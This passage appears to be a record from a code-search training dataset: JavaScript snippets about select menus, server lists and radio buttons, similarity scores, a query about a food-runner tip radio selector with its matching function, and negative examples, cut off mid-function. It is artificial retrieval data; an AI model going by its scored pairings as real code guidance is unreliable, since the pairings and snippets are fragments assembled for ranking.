\"</option>\";\r\n\t}\r\n\t\r\n\treturn options;\r\n}", "function connCount() {\n var connCount = []\n for (var pixelid = 0; pixelid < 50; pixelid++) {\n connCount.push(null)\n var room = mobilesock.adapter.rooms[pixelid]\n if (room) {\n phones = pixelid\n connCount[pixelid] = room.length\n } else {\n connCount[pixelid] = 0\n }\n }\n panelsock.emit('connCount', connCount)\n\n}", "function refreshServers(servers) {\n if (!servers) {\n ServerUtils().getAllServer(function(servers) {\n refreshServers(servers);\n });\n return;\n }\n\n var len = servers.length;\n\n var html = \"\";\n for (var i = 0; i < len; i++) {\n var server = ServerUtils(servers[i]);\n if ((!server.getURL()) || (!server.get('name'))) {\n alert('a not well formed server has been found');\n } else {\n html += '<li>';\n html += ' <a class=\"link\" href=\"javascript:NXCordova.openServer(\\'' + server.getURL() + '\\', \\'' + server.get('login') + '\\',\\'' + server.get('password') + '\\')\" data-icon=\"delete\">' + server.get('name') + '</a>';\n html += ' <span class=\"ui-icon ui-icon-arrow-r ui-icon-shadow\">&nbsp;</span>'; //Hack to force arrow icon.\n html += ' <a class=\"btnDelete\" style=\"display:none;\" href=\"#\" data-icon=\"delete\">Delete</a>';\n html += '</li>';\n }\n }\n\n $('#servers_list').html(html);\n $('#servers_list .btnDelete').click(function() {\n var that = $(this);\n var serverName = that.parents('li').find('a.link').html();\n ServerUtils({\n name: serverName\n }).remove(function() {\n ServerUtils().getAllServer(function(servers) {\n refreshServers(servers);\n });\n });\n })\n // Not sure about this timeout ...\n setTimeout(function() {\n $('#servers_list').listview('refresh')\n }, 50)\n}", "function selectPopSize() {\n population = populationMenu.property(\"value\");\n console.log(`Population Selected: ${population}`) \n}", "function numeroLinhasSelecionas() {\n var elementoLinhasSelecionadas = document.getElementById(\"numeroLinhas\");\n return numeroLinhas = elementoLinhasSelecionadas.options[elementoLinhasSelecionadas.selectedIndex].value;\n}", "function totalListItems() {\n currentliItems = jQuery(\"#first-ul li\").length;\n jQuery(\"#unsolve-badge\").text(currentliItems);\n }", "function buildNetworkSelector() {\n networkSelector = $('<div style=\"top: 50%; left: 50%; position: absolute; z-index: 99999;\">' + \n '<div style=\"position: relative; width: 300px; margin-left: -150px; padding: .5em 1em 0 1em; height: 400px; margin-top: -190px; background-color: #FAFAFA; border: 1px solid #CCC; font.size: 1.2em;\">'+\n '<h3>Select Network Methods</h3>' +\n '<div id=\"ss-net-opts\"></div>' + \n '<div id=\"ss-net-prot-warning\" style=\"color: #44B\">'+(supports_html5_storage()?'':\"These network settings can only be configured in browsers that support HTML5 Storage. Please update your browser or unblock storage for this domain.\")+'</div>' +\n '<div style=\"float: right;\">' +\n '<input type=\"button\" value=\"Reset\" onclick=\"ShinyServer.enableAll()\"></input>' +\n '<input type=\"button\" value=\"OK\" onclick=\"ShinyServer.toggleNetworkSelector();\" style=\"margin-left: 1em;\" id=\"netOptOK\"></input>' +\n '</div>' +\n '</div></div>');\n\n networkOptions = $('#ss-net-opts', networkSelector);\n $.each(availableOptions, function(index, val){\n var checked = ($.inArray(val, whitelist) >= 0);\n var opt = $('<label><input type=\"checkbox\" id=\"ss-net-opt-'+val+'\" name=\"shiny-server-proto-checkbox\" value=\"'+index+'\" '+\n (ShinyServer.supports_html5_storage()?'':'disabled=\"disabled\"')+\n '> '+val+'</label>').appendTo(networkOptions);\n var checkbox = $('input', opt);\n checkbox.change(function(evt){\n ShinyServer.setOption(val, $(evt.target).prop('checked'));\n });\n if (checked){\n checkbox.prop('checked', true);\n }\n });\n }", "function drawNewServerCountItem(i) {\n var serverNameItem = $('<div class=\"server__name-item\" />');\n serverNameItem\n .append($('<input />', {\n class: 'form-control server__AdditionalNames',\n 'type': 'text',\n 'name': 'AdditionalNames[' + (Number(i) - 2) + ']',\n 'value': serverBaseNamePrev + '-' + i\n }));\n $('.server__name-list').append(serverNameItem);\n }", "function renderMenu(){\n $.get(\"/api/masterPlants/\", function(mData){\n for (var i=0; i<mData.length; i++){\n var newOption = $(\"<option>\").text(mData[i].common_name).addClass(\"drop-down\");\n newOption.attr({\"value\":mData[i].id});\n $(\"#drop-down\").append(newOption);\n } \n })\n }", "size_of_list() {\n console.log(this.size);\n }", "function displayItems() {\n\n\tconnection.query(\"SELECT * from products\", function(err, res) {\n\t\tif (err) throw err;\n\t\t\n\t\tconsole.log(\"\\n\");\n\t\tconsole.table(res);\n\t\t\n\t\t//This is a recursive call. Using here by intention assuming this code will not be invoked again and again. Other options could've \n\t\t//been used which avoid recursion.\n\t\tdisplayMgrOptions();\n\t});\n}", "function updateNumberOfDays(){\n\t $('#days').html('');\n\t month = $('#months').val();\n\t year = $('#years').val();\n\t days = daysInMonth(month, year);\n\n\t for(i=1; i < days+1 ; i++){\n\t $('#days').append($('<option />').val(i).html(i));\n\t }\n\t}", "function loadClients(){\n\tconsole.log(\"attempting to load clients\");\n\t$.ajax({\n\t\ttype: \"POST\",\n\t\turl: \"functions/LoadTables.php\",\n\t\tdata: {tableName : 'Clients'},\n\t\tdataType: \"json\",\n\t\tsuccess: function (data) {\n\t\t\tconsole.log(JSON.stringify(data));\n\t\t\tservers=data;\n\t\t\t\t\n\t\t\tvar x = document.getElementById(\"client-select\");\n\t\t\t\n\t\t\tfor(var i=0;i<servers.length;i++)\n\t\t\t{\n\t\t\t\tvar option = document.createElement(\"option\");\n\t\t\t\toption.text = servers[i].client_name;\n\t\t\t\toption.value = servers[i].client_id;\n\t\t\t\tx.add(option);\n\t\t\t}\n\t\t}\n\t});\n}", "function numeroTarjeta (){\n \t\tconsole.log(localStorage.tarjeta);\n \t\t$(\"#sel2\").append('<option>' + localStorage.tarjeta +'</option>');\n \t}", "function getNumPlayers () {\n return state.numPlayers;\n}", "function CustomCombo_getVisibleItemsCount()\n{\t\n\tvar o=this,items=o.menu.items,len=items.length,n=0\n\tfor (var i=0;i<len;i++)\n\t{\n\t\tvar it=items[i]\n\t\tif ((it.isComboVal)&&(it.isShown))\n\t\t{\n\t\t\tn++\n\t\t}\n\t}\n\treturn n;\n}", "function funShowClients() {\n for (let i = 0; i < global.aryClients.length; i++) {\n try {\n mRU.funUpdateServerMonitor(\"Connection Code: \" + global.aryClients[i].strSocketID + \"&nbsp;&nbsp;&nbsp;User ID: \" + aryClients[i].userId, true);\n } catch (err) {\n //\n }\n }\n mRU.funUpdateServerMonitor(\"Total No. of Clients Connected: \" + global.aryClients.length, true);\n\n setTimeout(funShowClients, config.cintFunShowClients);\n}", "function changePlayerCount() {\n if (AMNTofPlayers != 48) {\n AMNTofPlayers = AMNTofPlayers + 8;\n } else {\n AMNTofPlayers = 8;\n }\n document.getElementById(\"playercountbutton\").textContent = AMNTofPlayers + \" Players\";\n initializePlayerArrays();\n}", "function displaySupervisorOptions() {\n inquirer.prompt([\n {\n type: \"list\",\n name: \"choice\",\n message: \"Supervisor Options: \",\n choices: [\"View Product Sales by Department\", \"Create New Department\", \"EXIT\"]\n }\n ]).then(function (res) {\n switch (res.choice) {\n case \"View Product Sales by Department\":\n viewProductSales();\n break;\n case \"Create New Department\":\n createNewDepartment();\n break;\n case \"EXIT\":\n console.log(\"Goodbye...\");\n connection.end();\n break;\n }\n });\n}" ]
[ "0.6775951", "0.6555574", "0.6059328", "0.5746349", "0.57424957", "0.57357484", "0.57013327", "0.5697189", "0.56877404", "0.5594743", "0.55696267", "0.5562885", "0.55440336", "0.5468198", "0.5442957", "0.54289705", "0.5403478", "0.5400283", "0.5398301", "0.5358565", "0.53509", "0.53468883", "0.5344739", "0.533813", "0.53288215", "0.53241384", "0.53172165", "0.53113335", "0.53077036", "0.5299104", "0.5295643", "0.5294593", "0.52935994", "0.5284447", "0.52641714", "0.52503777", "0.52487314", "0.52486736", "0.52397835", "0.5236335", "0.52050227", "0.519805", "0.51948214", "0.51893675", "0.51866335", "0.518467", "0.5182155", "0.5178967", "0.5159883", "0.51567656", "0.5136949", "0.51280266", "0.50999343", "0.5089956", "0.508743", "0.5077514", "0.50752026", "0.50749373", "0.50535685", "0.50527287", "0.5045421", "0.5040779", "0.50122917", "0.5003968", "0.49891654", "0.4984385", "0.49720582", "0.49716413", "0.49701387", "0.49651572", "0.49649274", "0.4962838", "0.49551937", "0.49537188", "0.49497142", "0.4948014", "0.49318662", "0.4923222", "0.49221247", "0.49156907", "0.49108768", "0.49082178", "0.49078086", "0.490267", "0.48973015", "0.4895479", "0.48927563", "0.4887159", "0.48817196", "0.48801696", "0.4877535", "0.48761263", "0.487466", "0.48743594", "0.4868663", "0.48686373", "0.48654363", "0.48582464", "0.48558238", "0.48557264" ]
0.7307066
0
radio selector if the foodrunner is present. Returns boolean
function foodRunnerSelector() { if (document.getElementById("foodRunnerYes").checked == true) { doTipFoodRunner = true; document.getElementById("foodRunnerConfirm").innerHTML = "Food Runner will be tipped out";} else { doTipFoodRunner = false; document.getElementById("foodRunnerConfirm").innerHTML = "No tip out for Food Runner"; } return doTipFoodRunner }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function isRowSelectedForAppointment(){\n var radiosDonation = document.getElementsByClassName(\"appointRadios\");\n for(var i = 0; i<radiosDonation.length;i++){\n if(radiosDonation[i].type === \"radio\" && radiosDonation[i].checked){\n return true;\n }\n\n }\n return false;\n}", "function choose() {\n if ($('input[name=\"answer\"]:checked').val() === undefined) {\n alert('Por favor selecione uma opção!');\n } else {\n selections[questionCounter] = $('input[name=\"answer\"]:checked').val();\n return true;\n }\n }", "function isDonationRowSelected(){\n var radiosDonation = document.getElementsByClassName(\"selectionRadios\");\n for(var i = 0; i<radiosDonation.length;i++){\n if(radiosDonation[i].type === \"radio\" && radiosDonation[i].checked){\n return true;\n }\n\n }\n return false;\n}", "function assignRoverChoice() {\n roverChoice = $(\"input:radio[name=inlineRadioOptions]:checked\").val();\n}", "function checkRadio(){\n\t\tvar typeRadios = document.querySelectorAll(\".drugType\");\t\t\n\t\t\n\t\tfor(var k=0,l=typeRadios.length; k<l; k++){\n\t\t\tif(typeRadios[k].checked === true){\n\t\t\t\tradioChecked = typeRadios[k].value;\n\t\t\t\tconsole.log(\"CheckRadio:\", radioChecked);\n\t\t\t}\n\t\t\t\n\t\t}\n\t\tconsole.log(radioChecked);\n\t\treturn radioChecked;\n\t}", "function checkGuest(){\n\tif ($(\"select[name=main_company] option[value='\" + $(\"select[name=main_company]\").val() +\"']\").attr(\"guest\") === \"1\") {\n\t\t$(\"div.guestRadio\").show();\n\t} else {\n\t\t$(\"div.guestRadio input[value=yes]\").prop(\"checked\",false);\n\t\t$(\"div.guestRadio input[value=no]\").prop(\"checked\",true);\n\t\t$(\"div.guestRadio\").hide();\n\t};\n}", "function isOneChecked(radioname) {\n // All <input> tags...\n var chx = document.getElementsByName(radioname);\n \n for (var i=0; i<chx.length; i++) {\n // If you have more than one radio group, also check the name attribute\n // for the one you want as in && chx[i].name == 'choose'\n // Return true from the function on first match of a checked item\n if (chx[i].type == 'radio'&& chx[i].checked) {\n \n return true;\n\n } \n }\n // End of the loop, return false\n return false;\n}", "function checkIt() {\n const radioSelect = document.getElementsByClassName(\"radio-container\");\n if (typeof ar[qno][2] !== \"undefined\") {\n for (let i = 0; i < radioSelect.length; i++) {\n radioSelect[i].style.pointerEvents = \"none\";\n }\n\n if (ar[qno][1] === ar[qno][2]) {\n for (let i = 0; i < radioSelect.length; i++) {\n if (\n radioSelect[i].querySelector(\"label\").innerText === ar[qno][2]\n ) {\n radioSelect[i].classList.add(\"correct\");\n radioSelect[i].querySelector(\"input\").checked = true;\n }\n }\n } else {\n for (let i = 0; i < radioSelect.length; i++) {\n if (\n radioSelect[i].querySelector(\"label\").innerText === ar[qno][1]\n ) {\n radioSelect[i].classList.add(\"correct\");\n }\n if (\n radioSelect[i].querySelector(\"label\").innerText === ar[qno][2]\n ) {\n radioSelect[i].classList.add(\"wrong\");\n radioSelect[i].querySelector(\"input\").checked = true;\n }\n }\n }\n }\n }", "function radioCheck() {\r\n\tvar query=document.getElementsByName(\"gsize\");\r\n\tvar isChecked = false;\r\n\tfor(var i = 0; i < query.length; i++) {\r\n\t\tif (query[i].checked)\r\n\t\t{\r\n\t\t\tisChecked = true;\r\n\t\t\tconsole.log(\"Found one radio that is checked!\");\r\n\t\t\tbreak;\r\n\t\t}\r\n\t}\t\r\n\tif(isChecked==false)\r\n\t{\r\n\t\tconsole.log(\"No Radio Button is Selected!\");\r\n\t\talert(\"Please Select any one from Package or Price Related!\");\r\n\t}\r\n\tconsole.log(\"Please select one radio button!\");\r\n\treturn isChecked;\r\n}", "function defaultCheck() {\n\t$(\"#radioWeekly\").prop('checked', true);\n}", "function checkAnswerChoice() {\n let answerChoice = $('input[type=radio][name=options]:checked').val();\n console.log(answerChoice);\n if (answerChoice === store.questions[store.questionNumber].correctAnswer) {\n updateScore();\n $('main').html(correctAnswer());\n } else {\n $('main').html(wrongAnswer());\n }\n}", "function functionalRadioBtn() {\n $(`.radioTodas`).click(() => {\n renderizarLista(listaNotebooks, \"Todas\");\n console.log(\"Todas cheked\");\n\n ordenarPorPrecio(\"Todas\");\n });\n\n $(`.radioAcer`).click(() => {\n renderizarLista(listaNotebooks, \"Acer\");\n console.log(\"Acer cheked\");\n\n ordenarPorPrecio(\"Acer\");\n // ordenarPorProcesador(\"Acer\");\n });\n\n $(`.radioApple`).click(() => {\n renderizarLista(listaNotebooks, \"Apple\");\n console.log(\"Apple cheked\");\n\n ordenarPorPrecio(\"Apple\");\n // ordenarPorProcesador(\"Apple\");\n });\n\n $(`.radioHP`).click(() => {\n renderizarLista(listaNotebooks, \"HP\");\n console.log(\"HP cheked\");\n\n ordenarPorPrecio(\"HP\");\n // ordenarPorProcesador(\"HP\");\n });\n\n $(`.radioLenovo`).click(() => {\n renderizarLista(listaNotebooks, \"Lenovo\");\n console.log(\"Lenovo cheked\");\n\n ordenarPorPrecio(\"Lenovo\");\n // ordenarPorProcesador(\"Lenovo\");\n });\n\n // para que al iniciar la pagina funcione la function ordenarPorPrecio() con los productos en pantalla\n if ($(`.radioTodas`).prop(\"cheked\", true)) {\n ordenarPorPrecio(\"Todas\");\n }\n}", "function getChoiceToggle() {\n var pn = getPlayerNameFromCharpane();\n var curstate = true;\n if (pn) {\n curstate = !!GM_getValue(pn+'_ncactionbar_togglechoice','true');\n }\n return curstate;\n}", "function checkRadio(inputPersonType) {\n document.getElementById(inputPersonType).click();\n}", "function testForProperChoice(choice) {\n switch (choice){\n case 'ROCK':\n case 'SCISSORS':\n case 'PAPER':\n return true;\n default:\n return false;\n }\n}", "if (\n this.props.accessibilityComponentType === \"radiobutton_checked\" &&\n this.props.accessibilityComponentType !==\n prevProps.accessibilityComponentType\n ) {\n UIManager.sendAccessibilityEvent(\n findNodeHandle(this),\n UIManager.AccessibilityEventTypes.typeViewClicked\n );\n }", "function isSearchRowSelected(){\n var radiosDonation = document.getElementsByClassName(\"searchRadios\");\n for(var i = 0; i<radiosDonation.length;i++){\n if(radiosDonation[i].type === \"radio\" && radiosDonation[i].checked){\n return true;\n }\n\n }\n return false;\n}", "function FormFieldsMenu_matchRadioInput(listElm, searchValue)\r\n{\r\n var retVal = false;\r\n if( listElm && listElm.tagName == \"INPUT\" \r\n && listElm.type.toUpperCase() == \"RADIO\" && listElm.name == searchValue.name\r\n ) \r\n {\r\n retVal = true;\r\n }\r\n \r\n return retVal; \r\n}", "wants() {\n return this.yesElement.prop('checked');\n }", "function isMetric() {\n\treturn metricRadio.checked\n\n}", "function reactionRadioButton () {\n if (rbR.checked) {dPhi = 0; r = 500;} // Für Widerstand: Phasenverschiebung, Widerstand\n else if (rbC.checked) {dPhi = Math.PI/2; c = 0.0001;} // Für Kondensator: Phasenverschiebung, Kapazität\n else {dPhi = -Math.PI/2; l = 200;} // Für Spule: Phasenverschiebung, Induktivität\n reaction(false); // Eingabefelder aktualisieren, rechnen, Ausgabe aktualisieren\n }", "function validateRadios(selector) {\n var values = selector.map(function() {return $(this).prop('checked')}).get();\n return values.indexOf(true) >= 0;\n}", "function isCheckedType(type) {\n return type === 'checkbox' || type === 'radio';\n}", "function GetItemTrueFalseButton(){\n var val1 = document.getElementById(\"radio1\").checked;\n var val2 = document.getElementById(\"radio2\").checked;\n var returnval;\n if(val1 === true){\n returnval = \"open\";\n }\n else if(val2 === true){\n returnval = \"closed\";\n }else{\n returnval = \"N/A\";\n }\n Validation(returnval);\n return returnval;\n}", "function setTripTypeIfReturnDateSelected(isAutoTrainBookingPath){\n\tif(isAutoTrainBookingPath == false) {\n if(document.getElementById('wdfdate2').value != '' || document.getElementById('wdftime2').selectedIndex > 0){\n \tif (document.getElementById('oneway') != null)\n \t\tdocument.getElementById('oneway').checked = false;\n \tif (document.getElementById('return') != null)\n \t\tdocument.getElementById('return').checked = true;\n }\n else {\n \tif (document.getElementById('oneway') != null)\n \t\tdocument.getElementById('oneway').checked = true;\n \tif (document.getElementById('return') != null)\n \t\tdocument.getElementById('return').checked = false;\n }\n }\n else {\n if(document.getElementById('wdfdate2').selectedIndex > 0 || document.getElementById('wdftime2').selectedIndex > 0){\n\t \tif (document.getElementById('oneway') != null)\n\t \t\tdocument.getElementById('oneway').checked = false;\n\t \tif (document.getElementById('return') != null)\n\t \t\tdocument.getElementById('return').checked = true;\n }\n else {\n \tif (document.getElementById('oneway') != null)\n \t\tdocument.getElementById('oneway').checked = true;\n \tif (document.getElementById('return') != null)\n \t\tdocument.getElementById('return').checked = false;\n }\n }\n}", "function reactionRadio () {\n genDC = rb2.checked; // Flag für Gleichspannungs-Generator (mit Kommutator) \n reset(); // Ausgangsstellung\n }", "function fullCalender(){\n\n \n if($('.schedule').is(\":checked\")){\n $('.full-calender-form').submit();\n return true;\n }else{\n $('.schedule-error').show();\n $('.schedule-error').html('<strong>Please select above action</strong>');\n return false;\n }\n\n}", "function radioOption(){\n \n var humanX = document.getElementById(\"humanX\");\n var humanO = document.getElementById(\"humanO\");\n var computerX = document.getElementById(\"computerX\");\n \n //Human VS Human\n if(humanX.checked==true && humanO.checked==true ){\n hide('options');\n humanVSHuman(); \n }\n \n //Computer VS Human\n else if(computerX.checked == true && humanO.checked == true ){\n hide('options');\n compVSHuman();\n }\n else{\n alert(\"No Option Selected\");\n } \n}", "_isFocoCategory(option_name){\n\t\tvar obj = this.objects_hash['foco'];\n\t\tif(obj.clicked_button.dataset['option_name'] == option_name){\n\t\t\treturn true;\n\t\t}\n\t}", "function selectThemeChoice(theme) {\n let type = theme.split('-')[1]\n let choices = document.querySelectorAll('input[type=\"radio\"]')\n for (let choice of choices) {\n if (choice.id.split('_')[0] == type)\n choice.checked = true\n }\n}", "check(user_choice){\n return user_choice === this.answer;\n }", "function selectSearchedTeam() {\n $('.game-chooser').on('click', 'button', function(event) {\n const userAnswer = $('input:checked').val();\n if(userAnswer === undefined) {\n return;\n }\n else {\n event.preventDefault();\n $('input:checked').siblings().addClass('selectedAnswer');\n getSoccerApi(chooseSelectedMatch);\n }\n })\n}", "function checkOption() {\n // Convert this to a jQuery object and store it in a variable\n let thisButton = $(this);\n\n // Highlight correct answer in green\n highlightAnswer();\n\n // If user chooses the right answer\n if (thisButton.text() === currentQuestion.answer) {\n // Increase the number of correct answers\n numCorrect++;\n // Pause timer and show answer\n showAnswer(\"correct\");\n } else { // If user chooses the wrong answer\n // Highlight the wrong answer chosen in red\n thisButton.removeClass(\"btn-secondary\");\n thisButton.addClass(\"btn-danger\");\n // Increase the number of incorrect answers\n numIncorrect++;\n // Pasue timer and show answer\n showAnswer(\"incorrect\");\n }\n\n // Wait 3 seconds before moving on to the next question\n setTimeout(function() {\n // Change the red incorrect option back to grey\n thisButton.removeClass(\"btn-danger\");\n thisButton.addClass(\"btn-secondary\");\n\n // Decide if there is still a question that still needs to be answered\n questionOrStats()\n }, 3000);\n }", "function randomQues() {\n var radiores = document.getElementsByName('optradio');\n \n let cond = false;\n for (let i = 0; i < radiores.length; i++) {\n if (radiores[i].checked) {\n cond = true;\n }\n }\n\n if (cond) {\n fetching();\n\n // reset radio buttons\n for (var r1 = 0; r1 < radiores.length; r1++) {\n radiores[r1].checked = false;\n }\n } else {\n alert('Please select option');\n }\n} //random ques", "function check_meteorite_class_filter(){\n var radios = document.querySelectorAll('input[type=\"radio\"]:checked');\n var value = radios.length>0? radios[0].value: null;\n\n return value;\n}", "function makeChoice()\r\n{\r\n\r\nif(document.getElementById(\"rabuse6\").checked)\r\n {\r\n document.form3.other.style.visibility=\"visible\";\r\n }\r\n else\r\n {\r\n document.form3.other.style.visibility=\"hidden\";\r\n document.form3.other.value=\"\";\r\n\r\n }\r\n/*\r\n var val = 0;\r\n for( i = 0; i < document.form3.rabuse.length; i++ )\r\n {\r\n if(document.getElementById(\"rabuse\"+i).checked)\r\n {\r\n val = document.getElementById(\"rabuse\"+i).value;\r\n\r\n if(val=='rabuse6')\r\n {\r\n document.form3.other.style.visibility=\"visible\";\r\n document.form3.other.disabled=false;\r\n document.form3.other.focus();\r\n }\r\n else\r\n {\r\n document.form3.other.style.visibility=\"hidden\";\r\n document.form3.other.value=\"\";\r\n }\r\n }\r\n else\r\n {\r\n document.form3.other.style.visibility=\"hidden\";\r\n }\r\n }\r\n*/\r\n}", "checkRadioByBtn(e) {\n const __self = this;\n this.removeActiveClass();\n e.preventDefault();\n let element = e.currentTarget;\n this.addActiveClass();\n }", "function refreshBlankQuestionRadio() {\n $('input[name=blank-question-opt][value=\\'None\\']').prop(\"checked\",true);\n}", "_changeToRadioButtonMode(newValue, container, item) {\n if (newValue === 'radioButton') {\n const checkedChildren = [];\n\n for (let i = 0; i < container.childElementCount; i++) {\n const currentItem = container.children[i];\n\n if (currentItem.checked && !currentItem.disabled && !currentItem.templateApplied) {\n checkedChildren.push(currentItem);\n }\n }\n\n this._validateRadioButtonSelection(item, item ? item.level + 1 : 1, checkedChildren);\n }\n }", "function isAnySelected() {\n if (selectedAssessment == null) {\n console.log(\"isAnySelected returned false\");\n return false;\n }\n return true;\n\n\n}", "function CheckIfRadioSelected() {\n for (var i = 0; i < questExercices.length; i++) {\n if (questExercices[i].checked && currentSlide == slides.length - 1) {\n nextQuestionType.style.display = \"inline-block\";\n }\n\n else if (questExercices[i].checked) {\n nextButton.style.display = \"inline-block\";\n }\n }\n}", "function isComplete(){\n if(rootCheck.checked && relativeCheck.checked){\n return rootSelAnswer != -1 && modeSelAnswer != -1 && relativeSelAnswer != -1;\n }else if (rootCheck.checked) {\n return rootSelAnswer != -1 != -1 && modeSelAnswer != -1;\n }else if (relativeCheck.checked) {\n return modeSelAnswer != -1 && relativeSelAnswer != -1;\n }else {\n return modeSelAnswer != -1;\n }\n}", "function getChosenAnswer() {\n for (let i = 0, length = radios.length; i < length; i++) {\n if (radios[i].checked) {\n console.log(\"888888\", radios[i].value);\n return (answerChosen = radios[i].value);\n }\n }\n }", "function setupUIWidgets() {\n $(\"input[type='radio']\").checkboxradio();\n}", "function multipleChoise(){\n if($('#bmw').prop('checked')){\n $('#multRadio').removeClass('red-text');\n $('#multRadio').addClass('green-text');\n $('#multRadio').html(\"Correct Awnser! <i class='material-icons'>sentiment_very_satisfied</i> <br>\");\n pointCounter++;\n // log if the awnser was correct\n console.log(\"Multiple choise, correct awnser\");\n }\n else if($('#audi').prop('checked') || $('#ferrari').prop('checked') || $('#vw').prop('checked')){\n $('#multRadio').html(\"Wrong awnser, the correct was BMW.. <i class='material-icons'>sentiment_very_dissatisfied</i> <br>\");\n $('#multRadio').removeClass('green-text');\n $('#multRadio').addClass('red-text');\n console.log(\"wroing awnser on multiple choise\");\n }\n else{\n $('#multRadio').removeClass('green-text');\n $('#multRadio').addClass('red-text');\n $('#multRadio').html(\"Select an option..\");\n console.log(\"Nothing was selected on multiple choise\");\n return;\n }\n}", "function answerSelected() {\n let selected = $('input:checked');\n let answer = selected.val();\n\n if(answer !==undefined){\n\n let correctAnswer = `${STORE[questionNumber].correctAnswer}`;\n if (answer === correctAnswer) {\n rightAnswerFeedback();\n } else {\n wrongAnswerFeedback(correctAnswer);\n }\n}\n}", "async compostRadio() {\n return this.browser.wait(until.elementLocated(By.id(\"chosen-category-composting-input\")), 5 * 20000);\n }", "function selectAutonomousOption() {\n $(\".auto-option input[value='\"+ autonomousMode +\"']\").prop('checked', true);\n showSelectedAutonomousOption();\n}", "function stateQualifies(){\n\t\t\n\t\t// Grab the ID of selectbox and store the contents of it in a variable called stateOption.\n\t\tvar stateOption = document.getElementById(\"selectStateOption\").value;\n\t\t\n\t\t// If the user has no chosen a shipping state...\n\t\tif(stateOption == \"noSelect\"){\n\n\t\t// Return false and output an alert error message.\n\t\treturn false;\n\t\t}\n\t\t// Else, they qualify.\n\t\telse{\n\t\t\treturn true;\n\t\t}\n\t} // End stateQualifies.", "function checkCorrectAnswer() {\n let radios = $('input:radio[name=answer]');\n let selectedAnswer = $('input[name=\"answer\"]:checked').data('answer');\n let questionNumber = store.questionNumber;\n let correctAnswer = store.questions[questionNumber].correctAnswer;\n\n if (radios.filter(':checked').length === 0) {\n alert('Select an answer before moving on.');\n return;\n } else {\n store.submittingAnswer = true;\n if(selectedAnswer === correctAnswer){\n store.score += 1;\n store.currentQuestionState.answerArray = [true, correctAnswer, selectedAnswer];\n } else {\n store.currentQuestionState.answerArray = [false, correctAnswer, selectedAnswer];\n }\n }\n}", "function isDonePressed(){\n return ($('#ui-datepicker-div').html().indexOf('ui-datepicker-close ui-state-default ui-priority-primary ui-corner-all ui-state-hover') > -1); \n }", "function isDonePressed(){\n return ($('#ui-datepicker-div').html().indexOf('ui-datepicker-close ui-state-default ui-priority-primary ui-corner-all ui-state-hover') > -1); \n }", "function GetItemTrueFalseButton4(){\n var val1 = document.getElementById(\"exampleRadios1\").checked;\n var val2 = document.getElementById(\"exampleRadios2\").checked;\n var returnval;\n if(val1 === true){\n returnval = \"change\";\n }\n else if(val2 === true){\n returnval = \"else\";\n }else{\n returnval = \"N/A\";\n }\n // Validation(returnval); - Validation is currently done on text entries\n return returnval;\n}", "function check() {\n let radio = document.getElementsByName('location');\n let result = false;\n\n for (let i = 0, len = radio.length; i < len; i++) {\n if (radio[i].checked) {\n result = true;\n }\n }\n return result\n}", "function isBoosted() {\n return document.getElementById(\"booster\").checked;\n }", "function radioChecked(){\n $('label.option', this).each(function(){\n if ($('input[type=radio]', this).is(':checked')) { \n $(this).addClass('checked');\n } else {\n $(this).removeClass('checked');\n }\n });\n }", "function shrFormSelect() {\n if ($('#shrRadio1').is(\":checked\")) {\n app.SHRFlag = 1;\n window.location.hash = \"#prevailing1\";\n } else if ($('#shrRadio2').is(\":checked\")) {\n app.SHRFlag = 2;\n window.location.hash = \"#eventSpecific\";\n }\n}", "isChecked() {\n return this.hasAnyAttribute('checked');\n }", "function getSelectedRadio(){\n\t\tvar radios = document.forms[0].favorites;\n\t\tfor(var i=0; i<radios.length; i++){\n\t\t\tif(radios[i].checked){\n\t\t\t\tfavoritevalue = radios[i].value;\n\t\t\t}\n\t\t}\n\t}", "function handleFancyRestaurantChoice() {\n /** @type {HTMLInputElement} Input field. */\n const dishInput = document.getElementById(\"dish-input\").value;\n const fancyMenu = [\"pizza\", \"paella\", \"pasta\"]\n\n if(dishInput == fancyMenu[0]) {\n restaurantClosing();\n } else if (dishInput == fancyMenu[1]) {\n restaurantClosing();\n } else if (dishInput == fancyMenu[2]) {\n restaurantClosing();\n } else {\n fancyRestauratMenu();\n }\n}", "function hasAnswered(){\n if( document.getElementById(\"a\").checked == true ||\n document.getElementById(\"b\").checked == true ||\n document.getElementById(\"c\").checked == true){\n return true;\n }\n return false;\n}", "function setRadioChoice(origAnswer, sBlank, resObj)\n{\n // Finds index number of chosen option.\n var matchIndex = resObj.optionList.indexOf(origAnswer);\n\n if (matchIndex >= 0 && matchIndex < resObj.optionList.length)\n {\n // Known option chosen.\n resObj.chosenOption = matchIndex;\n resObj.enabledFlag = 1;\n }\n else if (origAnswer.length > 0 && resObj.customEnabled === true)\n {\n // Other option entered.\n resObj.customText = origAnswer;\n resObj.enabledFlag = 1;\n }\n else if (sBlank === true)\n {\n // Skip blank answer.\n resObj.customText = \"\";\n resObj.enabledFlag = -1;\n }\n else\n {\n // Include blank answer.\n resObj.chosenOption = -1;\n resObj.enabledFlag = 0;\n }\n}", "function checkedTest() {\n cy.get('[name=\"terms\"]')\n .not('have.checked')\n .click()\n .should('have.checked')\n }", "shouldRun() {\n // if the \"Other Donation\" amount field is not present on the page our code will do nothing as it can not run\n return !!document.querySelector(\".en__field__input--other\");\n }", "isTuneSelected(tune) {\n return this.data[tune.group] === tune.name\n }", "function radioCheck() {\n var rad1 = document.getElementById(\"rad1\");\n var rad2 = document.getElementById(\"rad2\");\n if (rad1.checked == true) {\n alert(\"the user is a \" + rad1.value);\n } else if (rad2.checked == true) {\n alert(\"the user is a \" + rad2.value);\n } else {\n alert(\"you have to select something\");\n }\n}", "function isControlled(props) {\n return \"checkbox\" === props.type || \"radio\" === props.type ? null != props.checked : null != props.value;\n}", "function selectSwitchAttempt() {\n $(\".auto-option input[name='Switch']\").prop(\"checked\", switchAttempt);\n}", "function ShowAgentOffice() {\n\n if ($('#Text_OfficeType').val() == \"GSA\" || $('#Text_OfficeType').val() == \"CSA\") {\n $('#tbl tbody tr:eq(15)').show();\n $('input[name=AllowCreditLimitOfOffice][value=\"0\"]').prop('checked', true);\n $('input[name=AllowCreditLimitOnAgent][value=\"1\"]').prop('checked', true);\n //$('input[name=AllowCreditLimitOfOffice]').attr('disabled', false);\n //$('input[name=IsAllowedCL][value=\"0\"]').attr('checked', true);\n //$('input[name=IsAllowedCL]').attr('disabled', false);\n //$('input[name=IsHeadOffice][value=\"0\"]').prop('checked', true);\n\n }\n else {\n $('#tbl tbody tr:eq(15)').hide();\n // 